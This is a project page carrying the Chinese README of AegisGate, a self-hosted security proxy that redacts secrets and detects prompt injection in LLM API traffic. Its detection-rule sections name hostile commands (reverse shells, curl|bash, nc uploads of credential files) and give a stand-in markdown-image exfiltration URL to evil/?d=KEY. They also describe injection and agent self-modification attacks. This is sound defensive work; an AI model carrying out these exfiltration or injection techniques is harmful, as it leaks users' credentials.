Skip to content
项目

ax128/AegisGate has 73 GitHub stars and 11 forks. GitHot measured 0 stars in 24 hours. Last checked 2026-11-18 12:08 UTC. Last push 2026-11-13.

这些数字如何统计

可以做什么

  • Prompt Injection Protection — Multi-layer detection: regex patterns, optional semantic review (gray-zone gated: AEGIS_ENABLE_SEMANTIC_MODULE + AEGIS_SEMANTIC_SERVICE_URL + AEGIS_SEMANTIC_GRAY_LOW/HIGH), Unicode/encoding attack detection, typoglycemia defense
  • Dangerous Response Sanitization — Automatic obfuscation of high-risk LLM outputs (shell commands, SQL injection payloads, HTTP smuggling) with configurable security levels (low/medium/high)
  • OpenAI-Compatible + Anthropic Messages API — Drop-in routes for /v1/chat/completions, /v1/responses, /v1/messages, and the generic proxy; works with OpenAI-compatible providers and Anthropic-compatible Messages upstreams
  • Anthropic ↔ OpenAI Protocol Conversion — Token-based compat mode converts Anthropic /v1/messages requests to OpenAI /v1/responses on the fly, enabling Claude Code / Anthropic SDK to talk to OpenAI-compatible upstreams (GPT-5.4, etc.) without code changes

实测星标增长

24小时
0
7天
正在收集历史
15天
正在收集历史
1个月
正在收集历史

各周期内的星标净变化,周期相互重叠,并非每日新增。缺失的测量保持空白。星标代表关注度,不代表软件质量。

关于

Open-source security gateway for LLM APIs — prompt injection detection, PII redaction, dangerous response sanitization, and audit logging. OpenAI/Claude compatible, MCP & Agent SKILL support. Drop-in proxy for AI coding agents (Cursor, Claude Code, Codex).

人工智能

README_zh.md

原文

AegisGate

English | 中文

开源 LLM API 安全网关 — 部署在 AI 应用/Agent 与上游 LLM 服务商之间,在请求和响应两侧执行安全策略。

AegisGate 是什么?

AegisGate 是一个自托管的流水线式安全代理,专为保护 LLM API 流量设计。将应用的 baseUrl 指向网关,即可自动执行 PII 脱敏、提示词注入检测、危险命令拦截和输出净化,然后再转发到真实上游模型。

核心特性

  • 提示词注入防护 — 多层检测:正则模式、可选语义复核(灰区门控:AEGIS_ENABLE_SEMANTIC_MODULE + AEGIS_SEMANTIC_SERVICE_URL + AEGIS_SEMANTIC_GRAY_LOW/HIGH)、Unicode/编码攻击检测、拼写混淆防御
  • PII / 密钥脱敏 — 50+ 模式类别,覆盖 API Key、Token、信用卡号、身份证号、加密货币钱包地址/助记词、医疗记录等。注意 /v1/chat/completions、/v1/responses、/v1/messages 三条结构化会话路由默认只跑凭据类子集,避免误报破坏提示词,详见 §1.2 脱敏覆盖范围
  • 危险响应净化 — 自动遮挡高风险 LLM 输出(Shell 命令、SQL 注入载荷、HTTP 走私),可配置安全等级(low/medium/high)
  • OpenAI 兼容 + Anthropic Messages 接口 — 直接替换 /v1/chat/completions、/v1/responses、/v1/messages 及通用代理;兼容 OpenAI 兼容服务商与 Anthropic Messages 上游
  • Anthropic ↔ OpenAI 协议转换 — Token 级 compat 模式自动将 Anthropic /v1/messages 请求转为 OpenAI /v1/responses 格式,Claude Code / Anthropic SDK 无需改代码即可对接 OpenAI 兼容上游(GPT-5.4 等)
  • MCP 与 Agent SKILL 支持 — 通过 Model Context Protocol 集成 Cursor、Claude Code、Codex、Windsurf 等 AI 编程 Agent
  • Token 路由 — 通过单个网关路由请求到多个上游服务商,每个 Token 绑定独立的上游地址和白名单
  • Web 管理控制台 — 内置管理界面,支持配置管理、Token 管理、安全规则增删改查、密钥轮换和实时请求统计
  • 灵活部署 — Docker Compose 一键部署,支持 SQLite/Redis/PostgreSQL 存储后端,Caddy TLS 终结

快速开始: 先创建 cliproxyapi_default 与 sub2api-deploy_sub2api-network 两个 external network,再执行 docker compose up -d --build;网关运行在 18080 端口,管理界面登录页 http://localhost:18080/__ui__/login

核心目标:

  • 统一入口:把安全策略集中在网关层,而不是散落在各个 Agent/应用里。
  • 降低泄露面:请求侧脱敏与输入清洗、响应侧风险检测与阻断。
  • 可追踪:统一审计、风险标签、自动遮挡/分割危险内容。

文档导航

文档 内容
WEBUI-QUICKSTART.md 本地 Web 控制台:登录、CSRF/ETag 接口契约、配置中心、规则工作台、审计检索、哪些配置需重启
UPSTREAM-QUICKSTART.md 上游接入速查:CLIProxyAPI / Sub2API / AIClient-2-API,端口路由与 Docker 服务映射
OTHER_TERMINAL_CLIENTS_USAGE.md Codex CLI、Cherry Studio、VS Code、Cursor、WSL2 接入
SKILL.md 给 Agent 直接执行的安装与接入手册
config/README.md 挂载配置目录、热更新限制、model_map.json、gw_tokens.json
CHANGELOG.md 变更历史与破坏性变更
ROADMAP.md 尚未落地的架构级工作与已知取舍

上游接入

本节是速查版;三个已验证上游的完整接入步骤(含 Docker 服务名、网络连通性排查)见 UPSTREAM-QUICKSTART.md。

AegisGate 是独立的安全代理层,不管理也不约束上游服务。上游按各自官方文档独立安装运行,客户端请求时经网关即可。

已验证的上游

上游 官方文档 默认端口
CLIProxyAPI OAuth 多账号 LLM 代理(Claude/Gemini/OpenAI) 8317
Sub2API AI API 订阅管理平台(Claude/Gemini/Antigravity) 8080
AIClient-2-API 多源 AI 客户端代理(Gemini CLI/Codex/Kiro/Grok) 3000
任意 OpenAI 兼容 API — —

请先按上游官方文档完成安装和配置,确认上游本身可用后再接入网关。

四种接入场景

完整步骤(含 Docker 服务名、网络连通性排查、Caddy 要点)见 UPSTREAM-QUICKSTART.md。这里只留判断依据:

场景 适用条件 做法
同机部署 网关与上游在同一台机器 客户端 Base URL 直接用 /v1/__gw__/t/<端口号>,无需注册 token。需 AEGIS_ENABLE_LOCAL_PORT_ROUTING=true;上游在 Docker 里时改用 AEGIS_DOCKER_UPSTREAMS 的服务名映射
远程上游 上游不在本机 端口路由不可用,用 POST /__gw__/register 注册 token 绑定远程地址,或直接编辑 config/gw_tokens.json(热重载,无需重启)
公网暴露 需要域名 + TLS 前置 Caddy 做 TLS 终结,见 Caddyfile.example。flush_interval -1 必须设置,否则 SSE 会被缓冲
整域名转发 只想改域名,不想改 URL 路径 启动态 AEGIS_ENABLE_GATEWAY_FORWARD=true,在 config/gw_forwards.json 按 Host 配规则,客户端 Base URL 直接用网关域名,见 § 2.5

两条贯穿各场景的安全默认:

  • 纯数字端口 token(1024–65535,如 8317)默认按仅内网处理。对公网暴露请注册随机 token(推荐)、启用请求 HMAC,或显式设置 AEGIS_ALLOW_PUBLIC_NUMERIC_TOKENS=true。
  • token__passthrough 会禁用全部过滤器,同样默认仅内网;如需放开设 AEGIS_ALLOW_PUBLIC_PASSTHROUGH_MODE=true(危险)。

过滤模式后缀(__redact / __passthrough)见 § 2.3 过滤模式;token 注册的完整参数见 § 2.1 Token 注册。

Agent Skill

给 Agent 直接执行的安装与接入手册:

1. 主要能力

  • MCP 与 SKILL 支持:支持 MCP(Model Context Protocol)与 Agent SKILL 接入,可与 Cursor/Codex 等 Agent 环境配合使用;Agent 安装与接入手册见 SKILL.md。
  • OpenAI 兼容接口:
    • POST /v1/chat/completions
    • POST /v1/responses
    • POST /v1/messages — Anthropic Messages 专用端点(完整安全管道);支持原样透传到 Anthropic 兼容上游,或通过 token compat 模式自动转换为 OpenAI Responses 格式
    • POST /v1/files、POST /v1/images/edits、POST /v1/images/variations — multipart 上传专用路由(注册在通用透传之前):表单字段参与脱敏,体积上限走 AEGIS_MAX_MULTIPART_BODY_BYTES(60MB)而非 AEGIS_MAX_REQUEST_BODY_BYTES
    • POST /v1/{subpath} 通用透传路径;默认仍沿用 v1 请求/响应安全管道,只有 __passthrough 或命中 AEGIS_UPSTREAM_WHITELIST_URL_LIST 时才整体旁路请求与响应双侧过滤管道(含 PII 脱敏)
    • POST /relay/generate — 可选 Relay 兼容端点,默认关闭;需 AEGIS_ENABLE_RELAY_ENDPOINT=true
    • 若客户端把 Responses API 风格请求(仅 input)误发到 /v1/chat/completions,网关会转发到上游 /v1/responses,并把返回结果重新包装成 Chat Completions 的 JSON/SSE 形状
    • 若客户端把 Chat Completions 风格请求(messages)误发到 /v1/responses,网关会做反向兼容转换,并返回 Responses 风格结果
    • 对 /v1/chat/completions、/v1/responses 的 benign 或低风险响应,网关应保持原生协议/原生 schema,不因误触发而退化成整段 fallback;如需响应侧处理,也只在原结构内替换危险片段,并继续通过既有 aegisgate 元数据与审计链路做风险标记
    • 对直连 /v1/messages 的非流式响应,sanitize 后仍保持 Anthropic type/message/content[] 结构,不再退化成 sanitized_text 包装;风险标记继续走既有 aegisgate 元数据与审计链路
    • 对直连 /v1/messages 的流式响应,sanitize 后仍保持 Anthropic 原生 SSE 事件序列,只替换危险文本片段;风险标记继续通过既有 aegisgate 元数据与审计链路暴露,不会回退成 chat chunk 或 [DONE] 终止帧
  • v2 通用 HTTP 代理(独立安全链路):
    • 当前对外入口:ANY /v2/__gw__/t/<token>/...
    • 非 token /v2 路径会被安全边界拒绝
    • 必须携带 x-target-url 请求头指定原始目标地址,且目标主机必须命中 AEGIS_V2_TARGET_ALLOWLIST;留空时默认拒绝全部目标(fail-closed)
    • 请求侧:请求体脱敏(可开关,默认开)
    • 响应侧仅做 HTTP 注入攻击识别与危险片段替换(可开关,默认开)
      • 默认最小误拦模式:协议层高危特征(HTTP request smuggling / response splitting,如 CL.TE / TE.CL / TE.TE)
      • 可通过规则配置扩展检测模式
      • 对非流式文本/JSON 响应,命中后默认保留原响应状态码与结构,只替换危险片段,并通过 x-aegis-v2-response-* 响应头做风险标记
      • 对流式文本/SSE 响应,当前会在既有探测窗口内对命中片段做替换并继续透传;超过探测窗口的内容仍按原流式透传策略处理
  • 通用透传代理(POST /v1/{subpath}):
    • 涵盖 /v1/messages/count_tokens 等非 Chat/Responses/Messages 路径
    • stream=true 流式透传
    • 支持 query 透传(例如 ?anthropic-version=2023-06-01)
    • 默认仍沿用 v1 请求/响应安全管道;若使用 __passthrough 或命中上游白名单绕过,才会跳过过滤
  • 请求侧(default.yaml 的 enabled_filters 里启用的):exact_value_redaction、redaction、request_sanitizer、rag_poison_guard;_build_pipeline() 另外构造了 system_prompt_guard 与 untrusted_content_guard,默认策略不启用它们,完整构造顺序见 §1.3
  • 响应侧(默认策略):exact_value_redaction、anomaly_detector、injection_detector、rag_poison_guard、privilege_guard、tool_call_guard、restoration、post_restore_guard、output_sanitizer
  • 注意 enabled_filters 是跨相位名单:anomaly_detector / injection_detector / privilege_guard 只在响应相位构造,请求相位不跑
  • 扩展脱敏:覆盖 P0/P1 常见敏感字段 + Crypto 专项字段(地址/私钥/助记词/交易所密钥)
  • responses 结构化 input 预转发脱敏:覆盖 user/developer/system/assistant 与 function_call_output/tool_output 等节点
  • 高风险自动处理:命中高风险时自动遮挡/分割危险片段后返回,无需人工确认
  • 流式韧性:上游未发送 [DONE] 提前断流时,网关会合成恢复完成事件并补齐 [DONE]
  • 语义复核(可选):当前主链路在响应侧支持语义复核:当 AEGIS_ENABLE_SEMANTIC_MODULE=true 且风险评分落在 (AEGIS_SEMANTIC_GRAY_LOW, AEGIS_SEMANTIC_GRAY_HIGH) 时,才会触发并调用 AEGIS_SEMANTIC_SERVICE_URL 指向的语义服务;未配置服务地址时,仅灰区触发会记录 semantic_service_unconfigured 并降级(不做语义风险抬升),不会自动切回仓库内 TF-IDF 路径。仓库仍保留 TF-IDF 模型资源与训练脚本,便于离线实验或后续接线。
  • 可选能力:
    • 外部语义服务(超时、熔断、缓存)
    • HMAC + nonce 防重放
    • loopback-only 边界限制
  • 存储后端:sqlite / redis / postgres

1.1 危险内容处理策略(当前行为)

重要变更:yes/no 确认放行流程已移除。所有危险内容统一走自动处理,不再支持手动放行。

网关对 LLM 响应中的危险内容按以下分级自动处理:

风险等级 处理方式 示例
无风险 直接透传 正常对话内容
轻度危险 每 3 字符插入 - 分割变形(chunked-hyphen) dev-elo-per mes-sag-e
重度危险/危险指令 危险片段替换为 【AegisGate已处理危险疑似片段】 SQL 注入、反弹 shell、rm -rf 等
垃圾内容噪声 替换为 [AegisGate:spam-content-removed] 赌博/色情推广 + 伪造工具调用组合

处理后的内容会以 INFO 级别记录到网关日志(遮挡/分割后的安全摘要),便于审计追踪。

说明:

  • AEGIS_STRICT_COMMAND_BLOCK_ENABLED=true|false(默认 false):开启后命中强制命令规则即直接拦截并遮挡,不依赖 security_level 阈值。
  • AEGIS_CONFIRMATION_SHOW_HIT_PREVIEW=true|false(默认 true):拦截通知中是否展示命中片段(安全变形后)的预览。

1.2 脱敏覆盖范围(当前)

请求侧 redaction + request_sanitizer + responses 结构化 input 预转发脱敏 + 响应侧 post_restore_guard 已覆盖以下类别:

  • 凭据/密钥:API Key、Bearer、JWT、Cookie/Session、Private Key PEM、AWS Access/Secret、GitHub/Slack token
  • 金融标识:银行卡、IBAN、德国增值税号 DE_VAT_ID、SWIFT/BIC、Routing/ABA、银行账号字段
  • 网络与设备:IPv4/IPv6、MAC、IMEI/IMSI、设备序列号
  • 证件与合规:SSN、税号、德国 Steuernummer DE_STEUERNR、奥地利 SV-Nummer AT_SV_NR、护照/驾照、证书/执照编号、医疗记录号、医保受益人编号
  • 人员与地理:姓名字段、地址/经纬度/邮编字段、精确日期(生日/入院/出院/死亡)、传真字段
  • 车辆与生物:VIN、车牌字段、生物特征模板字段(文本形态)
  • Crypto 专项:BTC/ETH/SOL/TRON 地址、WIF/xprv/xpub、助记词/seed phrase、交易所 API key/secret/passphrase
  • 电脑/基础设施(仅带字段标签,即 field: value / field=value 格式):主机名、系统用户名、OS 版本、内核信息、用户目录路径(/home/、/Users/、C:\Users\)、环境变量、容器 ID、K8s 资源名、内部服务 URL(*.internal、*.local、*.svc.cluster.local)

转发前覆盖的请求字段:chat messages、responses input 与 instructions、Anthropic system、 工具/函数定义(tools 与旧版 functions:description、parameters 默认值与枚举值)、multipart 表单字段, 以及通用 /v1/<子路径> 路由(embeddings、rerank 等)的完整 JSON body。 工具名、tool call 关联 id 与媒体定位符(image_url / file_id)始终原样转发,避免破坏上游调用。

具体启用哪些规则由路由决定,且打分流水线与转发路径使用同一判据(is_low_false_positive_route): /v1/chat/completions、/v1/responses、/v1/messages 的请求体是结构化会话内容,误报会破坏提示词, 因此只跑低误报 id 集(redaction.relaxed_pii_ids,默认仅凭据类 13 项);其余 /v1/ 路由(含通用代理)跑完整 59 项。 如需在这三条路由上也跑全量规则,可配置 redaction.relaxed_pii_ids: ["*"]。

完整口径是六个执行面而非两桶——打分那一遍和真正改写外发内容那一遍用的集合并不总是同一套:

执行面 范围 使用的集合
管道层 · 对话路由 /v1/chat/completions、/v1/responses、/v1/messages relaxed(可配)
管道层 · 其他路由 含 multipart、通用 JSON 全量
转发层 · 对话消息 / system / instructions / 工具定义 同上三条路由 relaxed(可配)
转发层 · multipart 表单字段 /v1/files、/v1/images/* 全量
转发层 · 通用 /v1/<子路径> JSON embeddings、rerank 等 全量
v2 请求体 /v2/__gw__/t/<token>/... relaxed(可配,与对话路由同一套)

两点需要在评估暴露面时特别注意:

  • 每个执行面都按路由决定用哪套集合,打分与改写用同一条判据,因此两层不会分歧。此前转发层是按消息角色推导的,而所有真实角色都在"relaxed 角色集"里——等价于"永远 relaxed",与路由无关。
  • field_value_patterns 是另一层,三个执行层共用同一份编译器:显式 YAML 替换代码 fallback,不受 relaxed_pii_ids 增删影响。
  • multipart 的文件内容在任何执行面上都不参与请求侧脱敏,只有同请求里的表单字段参与。

控制台会按规则逐条渲染这六个执行面(服务端计算后下发),见 WEBUI-QUICKSTART.md §4.3。

responses 结构化输入补充说明(当前):

  • 全节点文本扫描:role=user/developer/system/assistant + type=function_call_output/tool_result/tool_output/computer_call_output
  • 角色分级:user/developer/system/assistant/tool 统一使用放宽规则(优先脱敏 token/key/secret/private key 等高风险项)
  • 命中位置记录:日志记录 path/field/role/pattern/count 摘要(不含命中原文)
  • 幂等:已包含 [REDACTED:*] 的文本不会重复脱敏

1.3 v1 / v2 实现链路与逻辑

统一入口(v1/v2 共用):

  1. v1 支持两种方式:默认上游直连(配置 AEGIS_UPSTREAM_BASE_URL)或 token 路径 /v1/__gw__/t/<token>/...
  2. v2 必须走 token 路径:/v2/__gw__/t/<token>/...(避免非 token 的通用代理暴露)
  3. token 路径会先被中间件重写到真实路由,并把 token 绑定信息注入请求上下文
  4. 安全边界中间件执行基础限制:请求体大小限制、可选 loopback-only、可选 HMAC/nonce 防重放

v1 链路(OpenAI 兼容):

  1. 请求侧过滤:exact_value_redaction -> redaction -> system_prompt_guard -> untrusted_content_guard -> request_sanitizer -> rag_poison_guard
  2. 转发到上游 LLM(chat/responses/generic 子路径)
  3. 响应侧过滤:exact_value_redaction -> anomaly_detector -> injection_detector -> rag_poison_guard -> privilege_guard -> tool_call_guard -> restoration -> post_restore_guard -> output_sanitizer
  4. 按风险处置:allow / sanitize / block(危险片段自动遮挡/分割,不走确认流程)
  5. 记录审计事件(含风险标签、处置原因、确认状态)

说明:

  • 上述顺序表示默认流水线构造顺序;实际是否执行仍取决于策略 enabled_filters 与全局开关。
  • enabled_filters 是跨相位名单:同一个过滤器名字在请求相位和响应相位可能只在其中一边被构造。anomaly_detector、injection_detector、privilege_guard 虽然写在 default.yaml 的 enabled_filters 里,但 pipeline_runtime._build_pipeline() 只把它们挂在响应相位,请求相位没有它们的实例——名单里出现不等于两侧都跑。
  • 请求相位要挂 anomaly_detector,前置条件是先把请求侧分数从响应门控共用的 ctx.risk_score 里隔离出来(独立字段,或封顶到 OutputSanitizer 的 sanitize 门以下)。共享分数会让一个干净回答被打上 response_disposition=sanitize、流式被掐断。privilege_guard 的请求相位需要先接上 action_map(请求侧现在是硬 block,不读阈值),否则声明「可执行 shell 命令」的编码 Agent 系统提示词会每次必被拦。两项都不在当前计划内,见 ROADMAP 单点待办。
  • 当前默认策略包含 tool_call_guard,但 不包含 system_prompt_guard 与 untrusted_content_guard:
    • 若需要对 retrieval/web/tool/document 等不可信来源做包裹与风险抬升,需在策略 YAML 中显式加入 untrusted_content_guard,并保持对应 feature flag 开启。
    • tool_call_guard 默认对未命中白名单的工具名和危险参数都按 review 处理(抬高风险分并标记复核,按阈值处置,而非无条件拦截);文件写入类工具(apply_patch/write/edit 等约 12 个)仅跳过“路径引用类”规则(sensitive_file_access/path_traversal/ssh_key_access),仍执行执行类危险参数扫描,避免代码 diff 内容误触发路径类规则;bash/shell 等执行类工具名列入危险工具名单(命中即标记,默认动作 review,可配为 block),且仍走完整危险参数扫描。工具名白名单默认留空,避免误伤不同上游的自定义工具。若显式配置白名单,未命中的工具名默认按 review 处理。

v2 链路(通用 HTTP 代理):

  1. 读取 x-target-url 请求头获取原始目标 URL(必须是 http:// 或 https:// 完整 URL,含 query string)
  2. 请求侧:仅做请求体脱敏(可选,默认开启),不做其他拦截
  3. 转发到目标 HTTP(S) 地址(follow_redirects=false:不自动跟随 3xx 重定向,直接透传给客户端)
  4. 响应侧:仅对响应正文做高危代码检测(HTTP 走私、响应拆分等嵌入式攻击特征)
  5. 非流式文本/JSON 命中时:保留原响应状态码与 JSON/文本结构,只替换危险片段,并在响应头输出 x-aegis-v2-response-sanitized、x-aegis-v2-response-rule-ids
  6. 流式文本/SSE 命中时:在当前探测窗口内替换危险片段并继续透传;正常 SSE 透传仍支持提前断流自动补 [DONE]

安全边界提示:v2 代理默认启用 SSRF 防护(AEGIS_V2_BLOCK_INTERNAL_TARGETS=true),会阻止请求到内网 IP(RFC1918/loopback/link-local)和云元数据端点(169.254.169.254 等)。如需访问内网服务,可设为 false 并在网络层(防火墙、出口 ACL)做补偿控制。AEGIS_V2_RESPONSE_FILTER_BYPASS_HOSTS 仅用于跳过响应拦截,不是目标主机访问白名单。

1.4 过滤范围、安全检查、审计能力

维度 v1 v2
请求体过滤 脱敏 + 非可信来源隔离 + 请求清洗 + RAG 投毒检测 仅脱敏(文本/JSON,可选)
响应过滤 异常评分、注入检测、权限防护、恢复后防护、输出清洗 仅正文高危代码检测与危险片段替换(HTTP smuggling/splitting 嵌入正文)
可识别攻击/风险 系统提示词泄露、规则绕过、越权、编码混淆、危险 tool call 参数、投毒传播等 响应正文中嵌入的 HTTP smuggling/splitting 特征(CL.TE/TE.CL/TE.TE);可扩展更多规则
处置动作 allow、sanitize、block(自动遮挡/分割,无确认流程) allow、sanitize(非流式文本/JSON + 当前流式探测窗口) 、block(403)(其余显式阻断场景)
流式处理 支持(含流式窗口检测、提前断流恢复) 支持 SSE 透传(自动检测 Accept: text/event-stream 或 "stream":true;断流时补齐 [DONE])
审计 完整安全审计链路(audit.jsonl + 安全标签/处置记录 + 处理后内容 INFO 日志) 运行日志与阻断元信息

1.5 命中后的处理方式(怎么处理)

  1. allow:直接透传结果。
  2. sanitize:过滤器就地替换敏感/可疑片段(如危险标签/URI/命令/垃圾内容)后直接返回。
  3. block:高风险拦截,危险片段±20 字符上下文自动变形(轻度:chunked-hyphen 分割;重度:完全替换为网关提示)后返回。

注意:yes/no 确认放行流程已永久移除。AEGIS_REQUIRE_CONFIRMATION_ON_BLOCK 设置已废弃,无论值为何均等同 false。

1.6 错误响应格式

当前实现并不是所有路由都返回同一种 JSON 错误包裹,分为三类。

第一类,token 解析类错误(扁平结构):

{
  "error": "token_not_found",
  "detail": "token invalid or expired"
}

第二类,管道内产生的错误(带 request_id):

{
  "error": {
    "message": "<人类可读原因>",
    "type": "aegisgate_error",
    "code": "<error_code>"
  },
  "error_code": "<error_code>",
  "detail": "<人类可读原因>",
  "request_id": "<request_id>",
  "aegisgate": { "...": "..." }
}

第三类,安全边界与管理接口的拒绝(aegisgate/core/gateway_auth.py::_blocked_response)。包裹形状与第二类相同,但没有 request_id——请求还没进到分配 request_id 的那一层就被挡下了——且 aegisgate 块固定:

{
  "error": {
    "message": "<人类可读原因>",
    "type": "aegisgate_error",
    "code": "<error_code>"
  },
  "error_code": "<error_code>",
  "detail": "<人类可读原因>",
  "aegisgate": { "action": "block", "risk_score": 1.0, "reasons": ["<error_code>"] }
}

调用方应优先以 HTTP 状态码以及稳定的错误码字段(error、error.code、error_code)为准,而不是假设所有端点都返回同一种固定 schema;特别是不要把 request_id 当成必有字段。

常见错误码:

错误码 含义
token_not_found token 不存在、已删除,或持久化映射未恢复
token_route_required 非 token 的 /v1 或 /v2 请求被安全边界拒绝
invalid_filter_mode token URL 后缀中的过滤模式无法识别
gateway_key_invalid 管理接口传入的 gateway_key 不正确
missing_params 管理接口缺少必填 JSON 字段
request_body_too_large 请求体超过 AEGIS_MAX_REQUEST_BODY_BYTES 限制
missing_target_url_header v2 中复用于缺少 x-target-url、目标 URL 非法、或目标主机未进入 AEGIS_V2_TARGET_ALLOWLIST
upstream_unreachable 网关无法连接上游
upstream_http_error 上游返回 4xx/5xx,网关透传了该失败

过滤管道命中后,成功响应里也可能附带 aegisgate 元数据对象,用于暴露风险评分、命中规则和处置信息。

1.7 自定义 HTTP 头

Header 方向 说明
x-target-url 客户端 -> 网关 v2 token 路径必填。必须是完整的 http:// 或 https:// URL,且主机名需已加入 AEGIS_V2_TARGET_ALLOWLIST。
x-aegis-request-id 网关 -> 上游 网关注入到上游请求中的追踪关联 ID。客户端无需设置,会出现在上游请求头和网关日志中。
x-aegis-filter-mode 网关内部 由 token URL 后缀(__redact / __passthrough)解析后重新注入。客户端自带该 Header 会被剥离。
x-aegis-redaction-whitelist 网关内部 由 token 绑定中的 whitelist_key 生成并注入。客户端自带该 Header 会被剥离或忽略。
x-aegis-proxy-token 反向代理 -> 网关 可选的「代理↔网关」互信凭据,取值为 config/aegis_proxy_token.key(首启自动生成,权限 0600)。校验通过时,非 token 的 /v1/... 与 /v2/... 请求不再检查来源 IP 是否内网,直接按 AEGIS_UPSTREAM_BASE_URL 转发——即它会解除下文 §2.0 的「仅内网」限制。该 key 等价于放行公网直连 /v1 的凭据,需与网关密钥同等保管与轮换,且绝不能下发给客户端。控制台轮换在写文件成功后对网关进程立即生效;Caddy 仍只在启动时读一次,因此 Caddy 转发的请求在 Caddy 重载前不会自动换成新 token。用法见 Caddyfile.example 与 scripts/caddy-entrypoint.sh。

补充:

  • privilege_guard 与 request_sanitizer 对研究/教学/引用类上下文有降权处理,避免安全分析类内容被过度拦截。
  • 解码结果回流:多级解码(base64 / hex / URL)出来的文本不再只匹配 decoded_keywords 那九条关键词,而是重跑 direct_patterns / system_exfil_patterns / tool_call_injection_patterns 三个指令族,命中记为 decoded:<规则 ID>,落进它作为明文时会落进的同一个信号桶。此前把一条注入用 base64 包一层,就能从刚刚扫过外层文本的每一个规则族旁边走过去。html_markdown / remote_content / spam_noise 这类描述书写形式的规则族刻意不回流——解码之后它们说明不了什么。
  • tool_call_guard 若要切换到严格白名单模式,可在 security_filters.yaml 中显式配置 tool_whitelist 与 action_map.tool_call_guard.disallowed_tool=block。
  • 外泄链路规则(exfil_chain_*):判定的是「采集 + 出口」两种能力在同一条命令里同时成立——凭据文件/凭据目录/浏览器密钥库/整环境导出,与 curl -F、-T、--data-binary @、管道进 nc、Invoke-RestMethod -Method Post 之类的外发动作。单独出现任意一侧都是日常开发动作,不入库;只有成对出现才判定。三条边界是刻意的:凭据文件必须带点前缀(.env,而不是 URL 里的 /env 路径段),.env.example 一类模板排除在外;scp / rsync 不在覆盖范围内——它们的 -F/-T 是「ssh config」「临时目录」而非「上传」;收割类规则要求出现真实的密钥关键字,而不只是一个看起来像递归的选项。分布在三处,各自的处置不同:
    • tool_call_guard.dangerous_param_patterns(6 条):作用于工具调用参数,按 review 抬分并标记复核;同时经 router::_tool_call_guard_patterns 参与自动遮挡时的工具调用剥离。
    • sanitizer.command_patterns(5 条):作用于响应正文,命中即 response_disposition=sanitize。少的那条是 exfil_chain_secret_in_url_query——正文里的一个文档示例 URL 不该让流式回答被截断。
    • sanitizer.force_block_command_patterns(2 条):最高置信的两种形态,由 AEGIS_STRICT_COMMAND_BLOCK_ENABLED(默认 false)把关。
  • 持久化规则(exfil_persist_*):判定「自启动面 + 拉取远程代码并执行」同时成立——crontab / /etc/systemd/system / LaunchAgents / HKCU\...\Run / .bashrc / .zshrc 等,配上 curl … | sh、/dev/tcp/、Invoke-Expression 之类的载荷。写 .bashrc 是日常配置、装个 cron 是日常部署,单侧一律不判;两者成对才没有善意解释。另有一条针对 agent 改写自身配置(MCP server 定义、settings.json、CLAUDE.md、skill 文件)后接网络命令的情形。这三条不在 _PATH_REFERENCE_PATTERN_IDS 里,因此对写文件类工具同样生效——攻击本身就是那次写入。
  • markdown 图片外带(exfil_egress_markdown_image_secret):![](https://evil/?d=KEY) 渲染即发出请求,不需要点击。规则要求 query 里带密钥形态或 AegisGate 占位符——不带密钥的普通 markdown 图片就只是一张图,既有的 <img> 规则也正是为此刻意不设动作。它同时登记在 injection_detector.html_markdown_patterns(只计分)与 sanitizer.unsafe_markup_patterns(真正移除)。后者是执行点:OutputSanitizer 是响应侧最后一个过滤器,跑在还原之后,看到的是占位符背后的真实凭据。
  • 还原侧的位置判据:restoration.suspicious_context_patterns 原本只问「措辞可不可疑」,不命中就无条件把占位符还原成真实值写回正文——措辞是可以改写的。新增三条按位置判定:占位符出现在 URL query 值、网络命令的参数位、markdown 图片 URL 里。这些位置正是数据离开本机的地方,换个说法绕不过去。
  • tool_call_guard 的只读工具豁免已收窄:read / read_file / glob / grep(采集面)与 webfetch / web_fetch / web_search / browser / search(出口面)不再整类跳过 dangerous_param_patterns——它们恰是外泄链的两端。命中走独立的 action key readonly_param,默认 observe:只记录,不抬分、不设 requires_human_review。这一条是必须的:review 会设 requires_human_review,非流式下 _needs_confirmation 据此走自动遮挡,整个工具调用被替换为占位符——而 read ~/.ssh/config、grep -r /etc/passwd 是日常运维动作。todowrite / task / submit / notebook_edit 既不读文件也不上网,仍整类豁免。两端检查的模式集不同:采集侧过全量 dangerous_param_patterns,出口侧跳过 sensitive_file_access / path_traversal / ssh_key_access——它们只上网、不碰文件系统,一条「怎么读 /etc/passwd」的搜索是关于文件读的问题,不是一次文件读。
  • request_sanitizer 命中 secret_exfiltration / privilege_escalation / rule_bypass 时,review 档会把风险分抬到 0.6 并打 request_* 标签(与 leak_check 一致),不拦截。此前该分支只有 block 会做事,而这三类默认都配成 review,等于纯日志。

分级变形策略:

  • 极度危险指令(rm -rf、SQL 注入、反弹 shell、fork bomb、curl|bash、dd if=of=、mkfs、powershell -enc 等):片段被完全替换为 【AegisGate已处理危险疑似片段】,原文不会出现在返回中。该模式集由代码在启动时合成(router.py::_critical_danger_patterns),来源为 anomaly_detector.command_patterns 中的 8 类严重规则、sanitizer.force_block_command_patterns(含两条 exfil_chain_*,这条来源不受 AEGIS_STRICT_COMMAND_BLOCK_ENABLED 把关)、privilege_guard.blocked_patterns 与 13 条硬编码 shell 模式;具体条数随 security_filters.yaml 变动。
  • 一般危险片段(系统提示词泄露、可疑权限操作等):使用 chunked-hyphen 分词变形(如 dev-elo-per mes-sag-e)。

建议:

  1. LLM 主链路用 v1(具备完整安全过滤与审计)。
  2. 通用 HTTP 安检用 v2(命中即阻断,响应更直接)。
  3. 外部 MCP / Skill(涉及外部网站访问)同样支持走 v1 或 v2 网关路径;默认建议优先走 v1,安全检查更全面、使用方式与普通模型请求一致。

2. 接入模型

当前支持两种接入模式:

  • v1 默认上游直连模式:配置 AEGIS_UPSTREAM_BASE_URL 后,仅限 localhost / 内网客户端直接请求 /v1/...(适合单上游、可信内网、零注册)。
  • token 路由模式:
    • v1:/v1/__gw__/t/<token>/...(一个 token 绑定一个 upstream_base URL)
    • v2:/v2/__gw__/t/<token>/...(可复用 v1 的 token;实际转发目标由 x-target-url 指定,不绑定 upstream_base)

2.0 v1 默认上游直连(仅 localhost / 内网客户端)

当 AEGIS_UPSTREAM_BASE_URL 已配置时,可直接请求:

curl -X POST http://127.0.0.1:18080/v1/responses \
  -H "Content-Type: application/json" \
  -d '{"model":"gpt-5.4-mini","input":"hello"}'

建议:

  1. 上游使用 v1 基路径,例如 AEGIS_UPSTREAM_BASE_URL=http://localhost:8317/v1。
